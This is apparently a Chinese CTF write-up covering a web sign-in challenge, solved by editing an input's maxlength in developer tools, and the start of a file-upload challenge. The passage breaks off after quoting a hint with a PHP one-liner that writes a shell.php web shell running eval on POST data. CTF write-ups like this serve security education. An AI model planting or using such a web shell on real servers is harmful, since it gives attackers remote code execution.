WEB题目 签到文件上传.docVIP

NO.1 签到题 很常规很简单的一道WEB签到题，进入题目链接 页面标签为： 只有一个密码输入框，很轻易想到要在这里输入密码，那么密码从哪里来呢？ 在输入框下方有这样一行提示： 作为东电学子当然要输入此专用密码咯~题目会这么小儿科？ 复制粘贴密码，点击绑定，跳转到如下界面 密码错误？出题人果然藏着坏心思！难道给的是错误密码？ 返回到输入密码的界面，如果有同学没有复制粘贴密码，而使用的是手动输入大法，并且带有轻微强迫症，非要看着密码框一个一个对照着输入，那么一定会发现，NEEPU_IS_6667 中的最后一个7是无法输入的！ 给出的密码一共13位，但输入框中却最多只能输入12位，所以我们猜测密码是正确的，只要使输入框能够输入13位就可以拿到flag 对输入框 点击鼠标右键 —— 检查（不同的浏览器可能显示为：查看元素、查看源代码等） 快捷键为F12 找到输入框对应的HTML标签 可以清楚的看到这里的maxlength属性的值为12，双击12将其更改为13，回车保存 然后就会神奇的发现输入框可以再输入一位了，手动补上7或者复制粘贴点击绑定即可得到flag NO.2 文件上传 点开题目，发现除了题目链接外，还有个 hint 提示，点击打开提示发现看起来像是PHP代码 #?php file_put_contents(shell.php,?php eval($_POST[1])?);